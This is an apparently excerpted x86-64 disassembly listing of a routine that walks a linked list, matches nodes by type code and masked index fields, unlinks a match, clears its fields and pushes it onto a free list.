cmp eax, 0x30000
je 0x6d362766
mov rbx, qword [rcx]
test rbx, rbx
je 0x6d3625e2
mov edx, dword [rbx + 8]
cmp edx, 0x5c
jne 0x6d362614
mov rax, qword [rbx + 0x10]
and eax, 0x7fff
cmp r12, rax
je 0x6d3626a3
mov rcx, rbx
jmp 0x6d36265f
cmp edx, 0xcd
jne 0x6d36261e
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp word [rbx + 0xc], 0
jne 0x6d3625e2
cmp qword [rbx + 0x18], rdi
jne 0x6d3625e2
cmp rcx, rbx
mov rax, qword [rbx]
je 0x6d3627a0
mov qword [rcx], rax
mov qword [rbx], 0
mov qword [rbx + 8], 0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x28], 0
mov rax, qword [rbp + 0x38]
mov rdx, qword [rax + 0x100]
mov qword [rbx], rdx
mov qword [rax + 0x100], rbx
jmp 0x6d36265f
test al, 8
je 0x6d362780
mov edx, dword [rbx + 0x10]
and edx, 0x7fff
cmp edx, esi
je 0x6d3625e2
mov edx, dword [rbx + 0x14]
and edx, 0x7fff
cmp edx, esi
jne 0x6d362638
jmp 0x6d3625e2
mov rdx, qword [rbx + 0x18]
and edx, 0x7fff
cmp r12, rdx
je 0x6d3625e2
and eax, 0x30000
mov rcx, rbx
cmp eax, 0x30000
jne 0x6d36265f
mov rax, qword [rbx + 0x20]
and eax, 0x7fff
cmp r12, rax
jne 0x6d36265f
jmp 0x6d3625e2
mov rdx, qword [rbx + 0x10]
and edx, 0x7fff
cmp r12, rdx
jne 0x6d362638
jmp 0x6d3625e2
mov rdx, qword [rbp + 0x38]
mov qword [rdx], rax
jmp 0x6d3626c7